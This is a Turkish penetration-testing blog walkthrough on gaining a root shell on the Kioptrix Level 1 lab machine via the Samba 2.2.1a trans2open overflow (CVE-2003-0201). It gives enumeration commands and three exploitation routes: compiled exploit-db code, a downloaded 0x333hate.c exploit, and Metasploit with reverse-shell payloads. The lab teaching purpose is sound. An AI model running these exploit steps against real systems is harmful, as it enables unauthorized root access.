Samba 2.2.1a Uygulamasının İstismar Edilerek Komut Satırı Erişiminin Elde Edilmesi

0
502
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemin komut satırına erişim sağlanabilir. Bu yazıda, Samba 2.2.1a ile Samba hizmeti veren Kioptrix (Seviye – 1) sanal makinesi üzerindeki uygulama zafiyeti istismar edilerek Samba servisini çalıştıran kullanıcı hesabının (root) hakları ile komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Kioptrix: Seviye – 1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

nmap aracı ile port taraması gerçekleştirildiğinde TCP/139 portunda SAMBA servisinin kullanıldığı görülmektedir.

nmap -Pn -n –open -sV 10.10.2.174 -p139

 

smbclient aracı ile SAMBA servis sürümünün 2.2.1a olduğu tespit edilebilir.

smbclient -L 10.10.2.174 -N

 

SAMBA servisinin sürüm keşfi için enum4linux aracı da kullanılabilir.

enum4linux -o 10.10.2.174

 

MSF smb_version auxiliary modülü ile de SAMBA servisinin sürümü keşfedilebilir.

use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.2.174
run

 

SAMBA 2.2.1a sürümünde (ve bazı diğer sürümlerde) “trans2.c” içerisindeki call_trans2open fonksiyonunda bellek taşma zafiyeti bulunmaktadır. Bu sürüme ait kodlar SAMBA sayfasından indirilebilir.

https://download.samba.org/pub/samba/old-versions/samba-2.2.1a.tar.gz

SAMBA 2.2.1a sürümündeki bu zafiyet ile kimlik bilgisi doğrulaması gerçekleştirilmeden SAMBA servisini çalıştıran kullanıcı yetkisi ile uzaktan kod çalıştırılabilmektedir. Detaylar için CVE-2003-0201 incelenebilir.

https://nvd.nist.gov/vuln/detail/CVE-2003-0201

Bu zafiyet 3 farklı yöntem ile istismar edilecektir.

 

1) 10.c Kodu ile SAMBA 2.2.1a İstismarı

Samba 2.2.1a istismarı için Exploit-db’den araştırma yapılabilir. Çevrimdışı araştırma için “searchsploit” aracı kullanılabilir.

searchsploit samba -t 2.2.1a
searchsploit samba -t 2.2.1
searchsploit samba -t 2.2.

 

Samba 2.2.1a istismarı için 10.c kodu kullanılabilir. Kod derlenip, kullanımı incelendiğinde hedef sistemin işletim sisteminin detayına ihtiyaç duyulduğu görülmektedir.

cp /usr/share/exploitdb/platforms/linux/remote/10.c .
gcc 10.c -o Samba2.2.1a_Istismari
./Samba2.2.1a_Istismari

 

Detaylı işletim sistemi taraması gerçekleştirildiğinde hedefin Linux olduğu görülmektedir.

nmap -Pn -n –open -p139 10.10.2.174 -A

 

Böylece istismar işlemi gerçekleştirilmiş ve “root” kullanıcı hakları ile erişim elde edilmiştir.

./Samba2.2.1a_Istismari -b 0 -v 10.10.2.174
uname -a

 

Not: Aynı zafiyeti istismar etmek için 7.pl betiği kullanıldığında komut satırı elde edilememiştir. Bunun muhtemel sebebi, hedef işletim sisteminin 64 bit olması ancak 7.pl betiğinin 32 bit işletim sistemleri için hazırlanmış olmasıdır.

cp /usr/share/exploitdb/platforms/linux/remote/7.pl .
perl 7.pl
perl 7.pl -t linx86 -H 10.10.2.128 -h 10.10.2.174

 

2) 0x333hate.c Kodu ile SAMBA 2.2.1a İstismarı

Samba 2.2.1a istismarı internette araştırıldığında SANS tarafından sunulan bir makaleye ulaşılabilir.

https://pen-testing.sans.org/resources/papers/gcih/0x333hatec-samba-remote-root-exploit-102967

 

Makale incelendiğinde 0x333hate.c adlı bir C kodu da tespit edilir. Bu kod derlendiğinde uyarı alınabilmektedir.

wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
gcc 0x333hate.c -o 0x333hate_Derlenmis

 

Derlenmiş koda hedef sistem verildiğinde zafiyet istismar edilmekte ve “root” yetkisine sahip olunmabilmektedir.

./0x333hate_Derlenmis
./0x333hate_Derlenmis -t 10.10.2.174
whoami

 

3) MSF trans2open Modülü ile SAMBA 2.2.1a İstismarı

Samba 2.2.1a istismarı için MSF trans2open modülü kullanılabilir.

use exploit/linux/samba/trans2open
show options

 

Hedef IP ayarlandıktan sonra modül çalıştırılır.

set RHOST 10.10.2.174
run

 

Ancak mevcut payload (linux/x86/meterpreter/reverse_tcp) ile bağlantı hatası alınmaktadır.

show options

 

Payload değiştirildiğinde ise, erişim elde edilebilmiştir.

set payload generic/shell_reverse_tcp
set LHOST 10.10.2.128
run

 

Benzer olarak “linux/x86/shell_reverse_tcp“, “linux/x86/shell/bind_tcp” gibi payload’lar da kullanılabilirdi.

set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 10.10.2.128
run
id
uname -a

 

Kaynak:

https://pentestimonials.wordpress.com/2017/01/31/kioptrix-1/

Kioptrix Level 1


https://blog.techorganic.com/2012/07/04/kioptrix-hacking-challenge-part-1/

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.